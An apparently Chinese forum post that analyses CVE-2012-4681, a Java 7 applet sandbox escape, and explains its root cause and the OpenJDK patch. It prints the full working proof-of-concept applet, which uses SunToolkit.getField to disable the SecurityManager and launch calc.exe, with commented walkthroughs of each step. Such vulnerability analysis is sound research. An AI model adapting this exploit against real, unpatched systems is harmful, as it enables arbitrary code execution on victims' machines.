设为首页 收藏本站
查看: 1106|回复: 0

[经验分享] cve-2012-4681的分析记录

[复制链接]

尚未签到

发表于 2016-5-23 10:22:32 | 显示全部楼层 |阅读模式
一、简介
       cve-2012-4681是去年8月份爆出的java沙盒的漏洞。
       漏洞是利用java的特性,从受限制的沙盒代码中调用系统信任的代码,间接修改了java.beans.Statement类的参数   
       private final AccessControlContext acc = AccessController.getContext();
              再利用不受任何限制的statement类,disable掉沙盒的securitymanager,从而执行任意的命令。是非常严重的本地执行漏洞。
        具体的利用方式还是下面的英文描述比较简洁:
        Multiple vulnerabilities in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 6 and earlier allow remote attackers to execute arbitrary code via a crafted applet that bypasses SecurityManager restrictions by (1) using com.sun.beans.finder.ClassFinder.findClass and leveraging an exception with the forName method to access restricted classes from arbitrary packages such as sun.awt.SunToolkit, then (2) using "reflection with a trusted immediate caller" to leverage the getField method to access and modify private fields, as exploited in the wild in August 2012 using Gondzz.class and Gondvv.class.
      
二、poc
       该漏洞的poc如下:
    //
// CVE-2012-XXXX Java 0day
//
// reported here: http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html
//
// secret host / ip : ok.aa24.net / 59.120.154.62
//
// regurgitated by jduck
//
// probably a metasploit module soon...
//
package cve2012xxxx;
import java.applet.Applet;
import java.awt.Graphics;
import java.beans.Expression;
import java.beans.Statement;
import java.lang.reflect.Field;
import java.net.URL;
import java.security.*;
import java.security.cert.Certificate;
public class Gondvv extends Applet
{
public Gondvv()
{
}
public void disableSecurity()
throws Throwable
{
Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]);
Permissions localPermissions = new Permissions();
localPermissions.add(new AllPermission());
ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions);
AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] {
localProtectionDomain
});
SetField(Statement.class, "acc", localStatement, localAccessControlContext);
localStatement.execute();
}
private Class GetClass(String paramString)
throws Throwable
{
Object arrayOfObject[] = new Object[1];
arrayOfObject[0] = paramString;
Expression localExpression = new Expression(Class.class, "forName", arrayOfObject);
localExpression.execute();
return (Class)localExpression.getValue();
}
private void SetField(Class paramClass, String paramString, Object paramObject1, Object paramObject2)
throws Throwable
{
Object arrayOfObject[] = new Object[2];
arrayOfObject[0] = paramClass;
arrayOfObject[1] = paramString;
Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"), "getField", arrayOfObject);
localExpression.execute();
((Field)localExpression.getValue()).set(paramObject1, paramObject2);
}
public void init()
{
try
{
disableSecurity();
Process localProcess = null;
localProcess = Runtime.getRuntime().exec("calc.exe");
if(localProcess != null);
localProcess.waitFor();
}
catch(Throwable localThrowable)
{
localThrowable.printStackTrace();
}
}
public void paint(Graphics paramGraphics)
{
paramGraphics.drawString("Loading", 50, 25);
}
}
         在浏览器中正确运行该applet,可以弹出计算器。(限定windows系统 )   
三、poc分析
       从poc的源代码可以看出,该poc的关键点在于disableSecurity()这个函数。   
    public void disableSecurity()
throws Throwable
{
Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1])  
//首先定义一个statement,该statement用于调用System.setSecurityManager(null),从而将当前沙盒的保护者---SecurityManager干掉
Permissions localPermissions = new Permissions();
localPermissions.add(new AllPermission());
ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions);
AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] {
localProtectionDomain
});
// 定义一个拥有所有特权的AccessControlContext对象
SetField(Statement.class, "acc", localStatement, localAccessControlContext);
// 使用特权的AccessControlContext替换statement中的acc变量,从而使当前的statement实例拥有特权,在调用System.setSecurityManager(null)的时候不会被沙盒拦截
localStatement.execute();
}
突破沙盒的关键在于将Statement中的acc变量,替换为高权限的acc,而替换的方式便在SetField这个函数中。
    private void SetField(Class paramClass, String paramString, Object paramObject1, Object paramObject2)
throws Throwable
{
Object arrayOfObject[] = new Object[2];
arrayOfObject[0] = paramClass;
arrayOfObject[1] = paramString;
Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"), "getField", arrayOfObject);
// GetClass函数其实就是用反射的方式调用了Class.forName的方法,获取了sun.awt.SunToolkit实例.Expression表达式进一步调用了sun.awt.SunToolkit的代码,执行了其中的getField函数,这个函数返回的结果就是statement实例的acc变量
localExpression.execute();
((Field)localExpression.getValue()).set(paramObject1, paramObject2);
// 将其赋值
}

    为了更明确的弄清这个问题,我们可以反过来思考。
       过程如下:  
      1、首先我们已经知道了我们的目的,就是突破沙盒执行任意java代码。沙盒是由securityManager保护的,我们干掉他就大功告成
      2、Statement类可以利用反射的方式执行java代码,但是它有一个成员变量叫acc,实例其实是一个accessControlContext。我们直接用statement执行               
高权限的代码是不行的,因为会被acc所获取的当前沙盒的权限所限制。如果我们把acc这玩意儿替换掉,就能执行任意代码了,其中就包括干掉securitymanager。这其中就一个困难点就是acc变量时private的。     
      3、我们发现有一个类可以帮我们达成这个目的,sun.awt.SunToolkit中有一个叫做getField的方法,这个方法可以修改任意对象的任意成员变量。
      4、现在的问题就变成了,如何调用getField方法。对于applet中的代码来说,sun.*.*下面的包是不能直接访问,如果直接访问会产生如下图所示的错误。
DSC0000.jpg
         于是这个问题就化简成两点:1、获取sun.awt.SunToolkit实例。 2、调用该实例的getField方法。(跟doPrivileged没啥关系)
            "reflection with a trusted immediate caller",这个java特性帮我们解决了这两个问题。   
             http://www.oracle.com/technetwork/java/seccodeguide-139067.html 这篇文章的9-8解释了这个问题。   
            http://security.stackexchange.com/questions/19565/why-do-some-java-apis-bypass-standard-securitymanager-checks/37920#37920
            这篇提问的答案则解释了为什么会有"reflection with a trusted immediate caller"这个特性
      
四、修补方式
       查看源码可以知道修补方式  
       http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/rev/2c58f14f60c7
    --- a/src/share/classes/com/sun/beans/finder/MethodFinder.java  Mon Aug 13 14:20:05 2012 -0700
+++ b/src/share/classes/com/sun/beans/finder/MethodFinder.java  Tue Jun 19 20:06:56 2012 +0400
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2008, 2011, Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2008, 2012, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
@@ -33,6 +33,8 @@ import java.lang.reflect.Type;
import java.lang.reflect.Type;
import java.util.Arrays;
+import static sun.reflect.misc.ReflectUtil.isPackageAccessible;
+
/**
* This utility class provides {@code static} methods
* to find a public method with specified name and parameter types
@@ -120,7 +122,7 @@ public final class MethodFinder extends
*/
public static Method findAccessibleMethod(Method method) throws NoSuchMethodException {
Class<?> type = method.getDeclaringClass();
-        if (Modifier.isPublic(type.getModifiers())) {
+        if (Modifier.isPublic(type.getModifiers()) && isPackageAccessible(type)) {
return method;
}
if (Modifier.isStatic(method.getModifiers())) {     
      添加了isPackageAccessible(type)这个校验,这样就没有办法在低权限的代码中调用高权限的方法了。   
五、其他
       该漏洞的补丁其实只补了ConstructorFinder/FieldFinder/MethodFinder三个类,但是并没有涉及到ClassFinder,有意思的是下一次更改就修补了ClassFinder(http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/rev/dfffff29f870),修补说明是XMLDecoder security issue via ClassFinder.
       这个漏洞被定义为CVE-2012-1682,目前为止我还没有找到poc.。

运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-220632-1-1.html 上篇帖子: 2012,微软王者归来之年 下篇帖子: 2012, 浏览器市场硝烟四起
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表